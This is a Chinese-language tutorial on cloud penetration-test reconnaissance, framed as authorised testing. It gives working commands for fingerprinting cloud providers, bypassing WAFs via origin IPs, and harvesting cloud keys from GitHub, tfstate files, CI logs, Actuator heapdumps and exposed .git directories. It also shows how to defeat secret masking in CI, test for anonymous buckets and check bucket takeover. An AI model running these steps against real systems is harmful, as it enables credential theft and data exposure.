一、云渗透和传统渗透不是同一套方法论
先说结论:云上渗透的起点通常是一组凭证,而不是一个 IP 段。
做过 Web 渗透的人第一次做云测评,最容易犯的错是打开 nmap 扫 C 段。扫完发现全是 443 和 80,返回的还是云厂商的负载均衡,看起来毫无破绽,然后就卡住了。原因是云环境的攻击面根本不在端口上:
| 维度 | 传统 IDC 渗透 | 云环境渗透 |
|---|---|---|
| 入口 | IP 段、开放端口、Web 漏洞 | 凭证泄露、配置错误、身份信任链 |
| 主要动作 | 扫描、爆破、EXP | API 调用、权限枚举、模拟身份 |
| 权限模型 | 系统用户 / 数据库用户 | IAM / RAM / CAM / ServiceAccount |
| 横向方式 | 内网跳板、凭据抓取 | 角色扮演、凭证复用、共享存储 |
| 关键资产 | 服务器、数据库 | 对象存储、镜像仓库、CI 变量、K8s 集群 |
| 拿权限的标志 | 拿到 root / system | 拿到 AdministratorAccess / cluster-admin |
| 痕迹在哪 | 系统日志、流量 | 云审计日志、K8s audit log、CI 日志 |
所以云渗透的第一步不是扫描,是回答三个问题:
- 目标用的是哪家云(决定后面用哪套 API 和工具)。
- 目标有哪些云资产暴露在外面(存储桶、镜像仓库、K8s API)。
- 目标的凭证可能泄露在哪里(代码仓库、CI 日志、配置文件、前端 JS)。
这一篇就按这三个问题展开。整条链路的结果是一张资产清单加若干组待验证的凭证,交给第二篇和第三篇继续。
二、判断目标用的是哪家云
2.1 从 DNS 和响应头看
最省事的办法是看 CNAME 和 HTTP 响应头,因为云厂商在这两处都会留下很明显的指纹。国内常见的对应关系:
| CNAME 后缀 | 对应服务 |
|---|---|
*.amazonaws.com | AWS(S3、ELB、API Gateway) |
*.cloudfront.net | AWS CloudFront |
*.aliyuncs.com | 阿里云(OSS、SLB、FC) |
*.oss-cn-*.aliyuncs.com | 阿里云 OSS |
*.myqcloud.com | 腾讯云 COS / CDN |
*.cos.ap-*.myqcloud.com | 腾讯云 COS |
*.huaweicloud.com / *.obs.cn-*.myhuaweicloud.com | 华为云 |
*.azureedge.net / *.blob.core.windows.net | Azure |
*.googleusercontent.com / *.storage.googleapis.com | GCP |
查询命令:
# 一次性看 A、CNAME、MX、TXT
dig +noall +answer example.com A
dig +noall +answer www.example.com CNAME
dig +noall +answer example.com MX
dig +noall +answer example.com TXT
# 用公共 DNS 避免被本地解析污染
dig @8.8.8.8 +short cdn.example.com CNAME
dig @223.5.5.5 +short static.example.com CNAME
TXT 记录里的 SPF 经常直接暴露云厂商,比如:
"v=spf1 include:spf.protection.outlook.com include:amazonses.com -all"
看到 amazonses.com 就知道对方用 SES 发信,邮箱系统在 AWS。
响应头特征更直接:
curl -sI https://example.com/ | grep -iE 'server|x-amz|x-oss|x-cos|x-ms|x-goog'
| 响应头 | 判断 |
|---|---|
Server: AmazonS3 / x-amz-request-id | AWS S3 |
Server: AliyunOSS / x-oss-request-id | 阿里云 OSS |
x-cos-request-id | 腾讯云 COS |
x-obs-request-id | 华为云 OBS |
x-ms-request-id / x-ms-version | Azure |
x-goog-generation / x-guploader-uploadid | GCP |
有一个坑:CDN 会把响应头改掉,Server 可能被重写成 nginx 之类。这时候要去看错误页。故意请求一个不存在的路径,很多云厂商的错误页会带自己的特征,比如 S3 返回 XML:
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message>...
阿里云 OSS 的错误页也长这样,但错误码和 EC 字段不同。错误页比正常页更难伪装。
2.2 证书透明日志
证书透明(Certificate Transparency)日志是个被低估的信息源。所有公开 CA 签发的证书都会进 CT 日志,而企业在给内部系统签证书时,往往不会想到这些域名会因此暴露。
crt.sh 的查询方式:
# 网页查询
https://crt.sh/?q=%25.example.com
# JSON API,写脚本时用这个
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u
真正有价值的不是主域名,是这些看起来像内部系统的子域:
gitlab.example.com
jenkins.example.com
harbor.example.com
kibana.example.com
oss-test.example.com
k8s-dashboard.example.com
我看到过的真实案例里,harbor.example.com 这种私有镜像仓库通过 CT 日志暴露的比例相当高,而镜像仓库一旦能匿名 pull,里面的 Dockerfile 和源码基本等于把内网架构图送出来。
2.3 favicon hash 定位同源代码
同一个系统部署在多台机器上时,favicon 的 hash 是一样的。FOFA 和 Shodan 都支持用这个 hash 反查,是找"同一套系统还部署在哪"最快的手段。
# 计算 favicon 的 mmh3 值
python3 -c "
import mmh3, requests, codecs
r = requests.get('https://example.com/favicon.ico')
print(mmh3.hash(codecs.lookup('base64').encode(r.content)[0]))
"
拿到值之后:
# FOFA
icon_hash="-247388890"
# Shodan
http.favicon.hash:-247388890
这个技巧在找测试环境时特别好用。生产环境上了 WAF,但测试环境往往用的还是同一套前端,favicon 一致,搜出来的 IP 直接就是没防护的那一台。
2.4 云厂商 IP 段反查
知道用了哪家云之后,反过来可以用云厂商公开的 IP 段去圈定资产。AWS 提供了机器可读的 IP 段列表:
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.region=="ap-northeast-1") | .ip_prefix' | head
# 只取 EC2 的段
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix'
这个文件里的每个网段都带 service 字段(S3、EC2、CLOUDFRONT),可以用来判断某个 IP 属于什么服务。
阿里云和腾讯云没有同等质量的单一官方 JSON,实操里走 APNIC 的 ASN 导出。阿里云主要 AS 是 AS45102 和 AS37963,腾讯云是 AS132203 和 AS45090:
# 导出某个 AS 的全部网段
whois -h whois.apnic.net -i origin AS45102 | grep -E '^inetnum|^route'
# 或者用 whois 里的组织信息直接判断
whois 47.98.1.1 | grep -iE 'org|netname|descr'
阿里云杭州节点 whois 会带 Alibaba (China) Technology Co., Ltd. 这类信息,AWS 会带 Amazon Technologies Inc.。ASN 导出法得到的网段不如 AWS 官方 JSON 精确,用之前要抽样验证,这条标为待验证。
2.5 测绘语法
FOFA、Quake、Hunter、Shodan 这类测绘平台是云资产发现的主力。常用的语法组合:
# 按云存储特征找
body="AliyunOSS"
body="<Error><Code>NoSuchBucket</Code>"
header="x-oss-request-id"
# 按证书找
cert="*.aliyuncs.com"
cert="example.com"
# 按 favicon 找同名系统
icon_hash="-247388890"
# 按域名收敛
domain="example.com"
domain="example.com" && port="6443"
最后一条特别有用。port="6443" 是 K8s API Server 的默认端口,port="2379" 是 etcd,port="10250" 是 kubelet,port="8080" 可能是旧版 API Server。把 domain="example.com" 和这些端口组合,经常能直接把集群暴露面捞出来:
domain="example.com" && (port="6443" || port="2379" || port="10250")
这部分的技术细节在第五篇展开,这里只要先知道怎么发现。
三、找真实 IP,绕过云 WAF
云 WAF 的本质是 DNS 解析到 WAF 的节点,流量经 WAF 转发回源站。所以只要找到源站真实 IP,就能直连绕过 WAF 的所有规则。这是第一篇里性价比最高的一个动作。
按优先级排列的几种办法:
历史 DNS 记录。 域名上 CDN 之前的解析记录会被各种历史 DNS 数据库留存。
# 常见的历史解析查询平台,注意只能查已公开的被动数据
# https://securitytrails.com/ https://dnsdumpster.com/ https://viewdns.info/iphistory/
证书透明日志找未上 CDN 的子域。 主站上了 WAF,但 mail.example.com、oa.example.com、test.example.com 这类子域往往还在源站。用 2.2 节的 crt.sh 查询列出所有子域,逐个解析,看哪个 IP 不在云 WAF 的网段里。
MX 和 SPF 记录。 邮件服务器几乎不可能放在 CDN 后面,而且通常和主站同一个机房。
dig +short example.com MX
# 拿到 mail.example.com 再解析
dig +short mail.example.com A
直接扫全网段找特征。 如果知道源站大概在哪个云厂商哪个地域,可以用 favicon hash 或页面特征在测绘平台里反查,这个方法对小型站点特别有效。
IPv6 和非常规端口。 很多企业只给 IPv4 上了 WAF,AAAA 记录直接指向源站。
dig +short AAAA www.example.com
找到疑似源站后,验证方法是用 Host 头直连:
curl -sk -H "Host: www.example.com" https://1.2.3.4/ -I
如果返回的页面和走 WAF 的一致,基本可以确认是源站。这一步在授权测试里要写进报告,因为"WAF 可被绕过"本身就是一个独立的高危发现。
四、代码仓库里的凭证
结论前置:GitHub 是云凭证泄露的第一大来源,没有之一。
开发者本地调试时把 AK/SK 写进配置文件,提交时忘了加 .gitignore,这是最常见的场景。更麻烦的是,即使后来删掉了,历史提交里还在。
4.1 GitHub 搜索语法
GitHub 的代码搜索支持限定符,组合起来威力很大:
# 按组织搜配置文件
org:example-company filename:.env
org:example-company filename:config.json
org:example-company path:.aws
# 按文件类型搜
org:example-company extension:yml "accessKey"
org:example-company extension:tf "access_key"
# 按内容搜
org:example-company "AKIA"
org:example-company "LTAI"
org:example-company "SecretAccessKey"
# 按路径搜
path:.git-credentials
path:config.json "password"
# 一起用
org:example-company in:file "access_key_id"
几个实战经验:
- 搜公司名不一定要用准确的 GitHub 组织名,用公司拼音、英文简称、邮箱后缀(
@example.com)往往能捞到员工个人仓库。 in:file是搜文件内容,in:path是搜路径,in:readme只在 README 里搜。默认是全文搜索,容易漏。- 中文项目的配置文件命名习惯不同,多试
application-prod.yml、config-dev.properties、settings.py。 - GitHub Code Search 只索引默认分支。 被删除的分支、只存在于历史提交里的凭证,用网页搜索是搜不到的,必须克隆下来本地扫。
- 网页版 Code Search 支持正则,但 REST API 和
gh search code不支持。想批量拉只能用gh api拼查询,或者直接克隆仓库。
4.2 高价值文件名清单
按实际泄露频率排序,这个清单可以直接当字典用:
.env
.env.production
.env.local
config.json
config.yaml
config.yml
application.yml
application-prod.yml
application-dev.yml
settings.py
local_settings.py
database.yml
docker-compose.yml
Dockerfile
terraform.tfstate
terraform.tfstate.backup
*.tfvars
.git-credentials
.npmrc
.pypirc
.docker/config.json
id_rsa
*.pem
*.p12
kubeconfig
config
credentials
搜索时按内容关键词组合:
org:example-company filename:.env DB_PASSWORD
org:example-company extension:json secret
org:example-company path:config access_key
org:example-company language:yaml secret_key
org:example-company in:file "aws_secret_access_key"
terraform.tfstate 值得单独说,因为它的危害最直接。
4.3 terraform.tfstate 为什么是重灾区
Terraform 用 state 文件记录资源的真实状态,为了保证 apply 时能对比差异,它会把资源创建时的属性原样存进去,包括数据库密码、AK/SK、连接串。这是一份明文文件。
一个真实的 state 片段长这样:
{
"version": 4,
"terraform_version": "1.5.7",
"resources": [
{
"mode": "managed",
"type": "alicloud_db_instance",
"name": "prod",
"instances": [
{
"attributes": {
"instance_name": "prod-rds",
"connection_string": "rm-xxxx.mysql.rds.aliyuncs.com",
"account_name": "app_user",
"password": "Prod%2023!Pass",
"port": "3306"
}
}
]
},
{
"mode": "managed",
"type": "alicloud_ram_access_key",
"name": "deploy",
"instances": [
{
"attributes": {
"access_key_id": "LTAI5tXXXXXXXXXXXXXX",
"secret": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"status": "Active"
}
}
]
}
]
}
拿到这份文件,等于同时拿到了 RDS 的账号密码和一组可用的 RAM AK/SK。而且 state 文件经常被顺手传到对象存储里当备份,或者提交到代码仓库。
搜索时专门盯这几个文件名:
terraform.tfstate
terraform.tfstate.backup
*.tfstate
*.tfvars
4.4 工具
trufflehog 做仓库全量扫描,包括历史提交:
# 扫 GitHub 组织
trufflehog github --org=example-company --only-verified
# 扫单个仓库
trufflehog git https://github.com/example-company/app.git --only-verified
# 扫本地目录(包括 .git 历史)
trufflehog filesystem ./app-repo --only-verified
--only-verified 很关键。加上它之后 trufflehog 会真的去调用云 API 验证凭证是否有效,能过滤掉大量误报和已经失效的密钥。不加的话输出里可能几百条都是假的。
gitleaks 更适合接进 CI 或者扫本地:
# 扫当前目录的 git 历史
gitleaks detect --source . -v
# 从生成到现在的完整历史
gitleaks detect --source . --log-opts="--all" -v
# 只扫工作区不扫历史
gitleaks protect --source . -v
# 输出 JSON 报告
gitleaks detect --source . -f json -r report.json
gitrob 用 GitHub API 遍历组织内所有仓库的提交历史,适合做组织级排查,但项目已归档,速度慢且容易触发 API 限速。
ggshield 兼顾扫描和 Git hook 拦截:
ggshield secret scan repo https://github.com/example-company/app.git
ggshield secret scan path -r ./src
GitDorker 把 dorks 和 GitHub Token 池结合起来批量跑,适合在大批量目标上做初筛:
python GitDorker.py -tf tokens.txt -q example.com -d dorks/alldorksv3
gsil 的关键词和正则写在 config.py 里,改完直接跑:
python gsil.py --github --tokens tokens.txt
如果只是想知道某个仓库里有什么,先克隆下来再本地扫,比在线搜更快也更全:
git clone --mirror https://github.com/example-company/app.git
cd app.git
git log --all --oneline | head -50
# 在全部历史里搜内容(-S 是"增删了这个字符串的提交")
git log -p --all -S 'AKIA'
# 直接在所有对象里 grep
git rev-list --all | xargs git grep -E 'AKIA[0-9A-Z]{16}'
# 看所有分支里曾经出现过的敏感文件
git log --all --full-history --name-only -- '*.tfstate*' | sort -u
git log --all --diff-filter=D --name-only | grep -iE '\.env|credential|key|secret' | sort -u
--mirror 会把所有分支和标签都拉下来,很多泄露只存在于已被删除的分支里。
对 terraform.tfstate 可以直接用 jq 把关键字段捞出来:
curl -s https://example.com/terraform.tfstate | \
jq '.resources[].instances[].attributes | {password, access_key, secret_key, private_key, connection_string}'
4.5 CI 日志泄露
CI 的构建日志是另一个高发区。原因有两个:一是 CI 环境里本来就注入了部署用的云凭证;二是很多脚本会 echo 出环境变量做调试,忘了删。
GitLab CI 的例子:
deploy:
script:
- echo "Deploying with $ALIYUN_AK"
- aliyun oss cp ./dist oss://prod-bucket/ --access-key-id $ALIYUN_AK --access-key-secret $ALIYUN_SK
如果这个 job 的日志是公开的,$ALIYUN_AK 会展开成明文。GitLab 对标记为 masked 的变量做脱敏,但脱敏规则是基于固定字符串匹配的,只要变量被拼接、截断、base64 编码,脱敏就失效:
# 这几种写法都能绕过 masked 变量脱敏
echo $ALIYUN_AK | base64
echo "prefix_${ALIYUN_AK}_suffix"
echo $ALIYUN_AK | rev
对应的检查路径:
https://gitlab.example.com/example-group/example-project/-/jobs
https://github.com/example-company/app/actions
GitHub Actions 的日志同理,echo ${{ secrets.AWS_SECRET_ACCESS_KEY }} 是典型的自杀式写法,GitHub 会尝试脱敏,但同样可以被编码绕过。
批量拉 Actions 日志:
gh run list -R example-company/app -L 100 --json databaseId \
| jq -r '.[].databaseId' \
| xargs -I{} gh run view {} -R example-company/app --log
配合正则直接过滤凭证:
gh run list -R example-company/app -L 100 --json databaseId \
| jq -r '.[].databaseId' \
| xargs -I{} gh run view {} -R example-company/app --log \
| grep -E 'LTAI|AKIA|AKID|password|token' | sort -u
五、AK/SK 的识别与有效性验证
5.1 各厂商凭证格式
| 厂商 | AccessKeyId 前缀 | 总长度 | 字段名 | 备注 |
|---|---|---|---|---|
| AWS | AKIA(长期)、ASIA(临时) | 20 | AccessKeyId / SecretAccessKey | ASIA 是 STS 临时凭证,必须带 SessionToken |
| 阿里云 | LTAI | 24 | AccessKeyId / AccessKeySecret | 主账号 AK 和 RAM 用户 AK 同格式 |
| 腾讯云 | AKID | 36 | SecretId / SecretKey | |
| 华为云 | 无固定前缀 | 20 | AK / SK | |
| GCP | 无 | – | Service Account JSON | 整个 JSON 文件,含 private_key |
5.2 提取正则
写脚本抓泄露时可以直接用这几条。AWS 那两条来自公开的 gitleaks 规则集:
# AWS Access Key ID
(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}
# AWS Secret Access Key
(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z/+]{40}['\"]
# 阿里云 AccessKeyId
LTAI[A-Za-z0-9]{12,20}
# 阿里云 AccessKeySecret(32位字母数字,需要上下文限定,否则误报极高)
(?i)access[_-]?key[_-]?secret['\"]?\s*[:=]\s*['\"]?([A-Za-z0-9]{30})['\"]?
# 腾讯云 SecretId
AKID[A-Za-z0-9]{13,32}
# GCP Service Account
"type":\s*"service_account"
# 通用私钥
-----BEGIN (RSA|EC|OPENSSH|PGP) PRIVATE KEY-----
实践提醒:阿里云和腾讯云的 Secret 本身没有固定前缀,纯靠正则误报率极高。正确做法是先定位 AccessKeyId,然后取它上下 5 行去找同名的 secret 字段,而不是全网正则撒网。这一点在写自研扫描脚本时特别重要,否则一半时间都在处理误报。
5.3 验证凭证
拿到疑似凭证后,第一件事是验证有效性,而且只做只读调用。这一步的原则是:先证明凭证有效并摸清权限范围,绝不直接执行任何写操作。
AWS:
export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_DEFAULT_REGION="ap-northeast-1"
# 临时凭证才需要这一行
# export AWS_SESSION_TOKEN="..."
# 第一条命令:我是谁
aws sts get-caller-identity
返回:
{
"UserId": "AIDAXXXXXXXXXXXXXXXXX",
"Account": "123456789012",
"Arn": "arn:aws:iam::123456789012:user/deploy-bot"
}
从 ARN 就能判断这是 IAM 用户还是角色(user/ vs assumed-role/),以及账号 ID 和用户名。账号 ID 很重要,后面所有资源 ARN 都带它。
阿里云:
aliyun configure --mode AK \
--access-key-id LTAI5tXXXXXXXXXXXXXX \
--access-key-secret xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
--region cn-hangzhou
aliyun sts GetCallerIdentity
腾讯云:
tccli configure set secretId AKIDxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
tccli configure set secretKey xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
tccli configure set region ap-guangzhou
tccli sts GetCallerIdentity
华为云:
hcloud configure set --access-key=XXXXXXXX --secret-key=XXXXXXXX
hcloud IAM KeystoneListAuthProjects
如果凭证是 STS 临时凭证,注意看有效期。ECS 元数据拿到的临时凭证默认 6 小时轮换,K8s IRSA 的默认 1 小时(可配到 12 小时)。这意味着你必须在一个时间窗口内完成所有枚举和利用,超时后凭证失效,得回去重新取。
六、配置文件与备份文件泄露
除了代码仓库,Web 站点本身的配置文件泄露也是高频入口。
常见路径字典:
/.env
/.env.bak
/.git/config
/.git/HEAD
/.svn/entries
/config.json
/config.js
/appsettings.json
/application.yml
/application.properties
/config/database.php
/WEB-INF/web.xml
/backup.zip
/www.zip
/db.sql
/dump.sql
/phpinfo.php
Spring Boot 应用的 Actuator 端点尤其值得盯,因为它经常把整个环境变量打出来:
# 列出所有可用端点
curl -s http://target.com/actuator | jq
# env 端点,环境变量全在里面,包括云凭证
curl -s http://target.com/actuator/env
# 高价值端点
curl -s http://target.com/actuator/configprops
curl -s http://target.com/actuator/heapdump -o heapdump.bin
/actuator/heapdump 是个内存快照,里面的字符串可以直接捞:
# 用 strings 捞凭证特征
strings heapdump.bin | grep -E 'LTAI|AKID|AKIA|password|secret' | sort -u
Git 源码泄露的恢复:
# 用 git-dumper
pip install git-dumper
git-dumper http://target.com/.git/ ./target-src
# 或者 GitHack
python2 GitHack.py http://target.com/.git/
.git/config 经常还带着凭证:
[remote "origin"]
url = https://deploy:ghp_xxxxxxxxxxxx@github.com/example-company/app.git
这里的 ghp_ 是 GitHub Personal Access Token,能直接访问该组织的私有仓库。
七、对象存储攻击
对象存储是云上最常见的错误配置载体,也是黑盒下最容易确认的东西。
7.1 权限错误怎么判断
对象存储的权限问题归结为三种:匿名 List、匿名 Get、匿名 Put。危害依次递增,Put 意味着可以投毒或者挂马。
命名规则要按目标习惯构造。S3 桶名有硬性约束:3 到 63 个字符,只能用小写字母、数字和连字符,不能用下划线,全局唯一。所以爆破字典按 {公司名}-{环境}-{用途} 这个模式生成命中率最高。常见的组合:公司名、公司名 + 环境(prod/test/dev)、公司名 + 用途(static/upload/backup/log)、公司名 + 区域。
响应码的含义要记清楚:
| 响应 | 含义 |
|---|---|
200 + XML 列表 | 桶存在且允许匿名 List,最严重 |
403 AccessDenied | 桶存在,但不允许匿名 List(可以继续试 GetObject) |
404 NoSuchBucket | 桶不存在,如果 CNAME 指向它就可以接管 |
301 PermanentRedirect | 桶存在但在别的 region |
用 HEAD 请求快速判断:
curl -sI https://example-company-backup.s3.amazonaws.com | head -3
7.2 逐条命令
AWS S3 用 --no-sign-request 做匿名访问测试:
# 列出桶(需要 ListBucket 权限开放)
aws s3 ls s3://example-company-backup --no-sign-request
# 递归列出所有对象,含大小和时间
aws s3 ls s3://example-company-backup --recursive --no-sign-request --human-readable
# 下载单个文件
aws s3 cp s3://example-company-backup/db/dump.sql.gz . --no-sign-request
# 异步全量拉取
aws s3 sync s3://example-company-backup ./dump --no-sign-request
# 测试写权限(授权测试中这一步要先确认,写操作会产生真实数据)
aws s3 cp ./test.txt s3://example-company-backup/test.txt --no-sign-request
阿里云 OSS 用 ossutil:
# 配置一个匿名 profile
ossutil config -e oss-cn-hangzhou.aliyuncs.com
# 列桶
ossutil ls oss://example-company --limited-num 100
# 递归列出并下载
ossutil ls oss://example-company-backup/ -r
ossutil cp -r oss://example-company-backup/ ./dump
# 测试写权限
ossutil cp ./test.txt oss://example-company-backup/test.txt
也可以用 s3cmd 或 aws cli 打 OSS,因为 OSS 兼容 S3 协议:
aws s3 ls s3://example-company-backup --endpoint-url https://oss-cn-hangzhou.aliyuncs.com --no-sign-request
不想装客户端时,直接发 HTTP 请求更省事。OSS 支持 V2 风格的 list-type 参数:
curl -s "https://example-company.oss-cn-hangzhou.aliyuncs.com/?list-type=2&max-keys=20"
返回的是 XML,用 xmllint 或 python 解析出 Key 列表即可。
腾讯云 COS 用 coscmd:
coscmd config -e cos.ap-guangzhou.myqcloud.com
coscmd list -r
coscmd download -r / ./
批量爆破桶名的工具:
# s3scanner:扫 S3 权限
s3scanner scan --bucket-file buckets.txt
s3scanner scan --bucket-file buckets.txt --enumerate
# cloud_enum:一次扫 AWS、Azure、GCP
python3 cloud_enum.py -k example -k example-company -l out.txt
# OSS 没有现成好用的枚举器,用 ffuf 自己搭
ffuf -u https://FUZZ.oss-cn-hangzhou.aliyuncs.com -w names.txt -mc 200,403
云函数 FC 的临时桶也值得看,阿里云 FC 会给每个函数分配一个 *-fc-* 命名的临时 OSS 桶,有时候权限配得更松。
镜像仓库是同一类问题里最容易被忽略的一个。私有 registry 只要暴露在公网且没开认证,可以直接列出全部仓库:
# Docker Registry v2 API,未授权时直接返回仓库列表
curl -s http://1.2.3.4:5000/v2/_catalog
# 列出某个仓库的 tag
curl -s http://1.2.3.4:5000/v2/example-app/tags/list
# 拉取 manifest 和层,接着可以用 dive 或直接解压层去找源码
docker pull 1.2.3.4:5000/example-app:latest
云厂商的托管仓库也有对应的枚举命令:
# AWS ECR
aws ecr list-repositories
aws ecr describe-images --repository-name example-app
# Azure ACR
az acr repository list -n exampleregistry
镜像层里能翻出源码、.env、构建时的凭证,甚至 CI 的 token。这一部分在第六篇会展开讲怎么从镜像反推 CI 配置。
7.3 Bucket 接管
原理是这样:如果站点有个子域 static.example.com 通过 CNAME 指向 static-example.s3.amazonaws.com,而对应的桶已经被删除,那么这个桶名就空出来了,任何人都可以注册。攻击者注册同名桶后,就能控制这个子域返回的内容。
确认流程:
# 第一步:看 CNAME
dig +short static.example.com CNAME
# 返回 static-example.s3.us-east-1.amazonaws.com.
# 第二步:确认桶不存在
aws s3 ls s3://static-example --no-sign-request
# 返回 NoSuchBucket 说明桶名可用
# 或者直接 curl,看错误码
curl -sI https://static.example.com/ | head -5
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message>
在授权测试里,这里的正确做法是证明可注册性,但不实际注册。报告里写清楚:桶名可用、CNAME 仍指向该桶、一旦被第三方注册即可控制 static.example.com 的内容,可用于 XSS、钓鱼、绕过 CSP。实际注册属于超出授权范围的行为。
7.4 桶里应该翻什么
按价值排序,这是我实际翻桶时优先看的东西:
| 目标 | 说明 |
|---|---|
*.sql / *.sql.gz / *.bak | 数据库备份,直接等于全量数据 |
*.zip / *.tar.gz | 源码包,里面通常带 .env 和配置文件 |
config* / *credentials* | 直接就是凭证 |
.git/ 目录 | 能还原完整源码和提交历史 |
application*.yml / .env | 数据库、Redis、云凭证 |
| 日志文件 | 可能有内网 IP、接口路径、Token |
| 用户上传文件 | 身份证、合同、头像,涉及个人信息合规 |
terraform.tfstate | 云凭证 + 全部资源清单 |
一个实用技巧:桶里文件太多时,先按大小和时间排序,通常最新的备份文件和最大的压缩包价值最高。
aws s3 ls s3://example-company-backup --recursive --no-sign-request --human-readable \
| sort -k3 -hr | head -20
八、把流程串成一条线
回顾一下这一篇的完整链路。假设目标是 example.com:
# 1. 判断云厂商
dig +short www.example.com CNAME
curl -sI https://example.com/ | grep -iE 'x-amz|x-oss|x-cos'
# 2. 拉子域
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u
# 3. 找源站
for sub in mail oa test dev gitlab jenkins harbor; do
dig +short $sub.example.com A
done
# 4. 代码仓库狩猎
trufflehog github --org=example-company --only-verified
# 5. 配置文件探测
for p in .env .git/config actuator/env config.json; do
curl -s -o /dev/null -w "%{http_code} $p\n" https://example.com/$p
done
# 6. 对象存储
aws s3 ls s3://example-company-backup --recursive --no-sign-request
# 7. 验证拿到的凭证
aws sts get-caller-identity
aliyun sts GetCallerIdentity
每一步的输出都是一张表的输入,最终收敛成这样的资产清单:
| 资产 | 类型 | 归属云 | 暴露面 | 风险等级 |
|---|---|---|---|---|
static.example.com | S3/OSS 桶 | AWS | 匿名 List | 高 |
gitlab.example.com | GitLab | 自建 | CT 日志暴露 | 中 |
AKIA... | IAM 用户密钥 | AWS | GitHub 泄露 | 严重 |
terraform.tfstate | 状态文件 | 阿里云 | 对象存储可读 | 严重 |
这张表就是第二篇和第三篇的输入。
下一篇讲第二篇:从 SSRF 到云凭证。会逐个给出 AWS、阿里云、腾讯云、华为云、GCP、Azure 的元数据服务地址、必需请求头、凭证获取路径,以及 SSRF 打元数据时遇到的各种限制和绕过方式。核心问题是:一个看起来只能读内网页面的 SSRF,怎么变成云账号里的第一组凭证。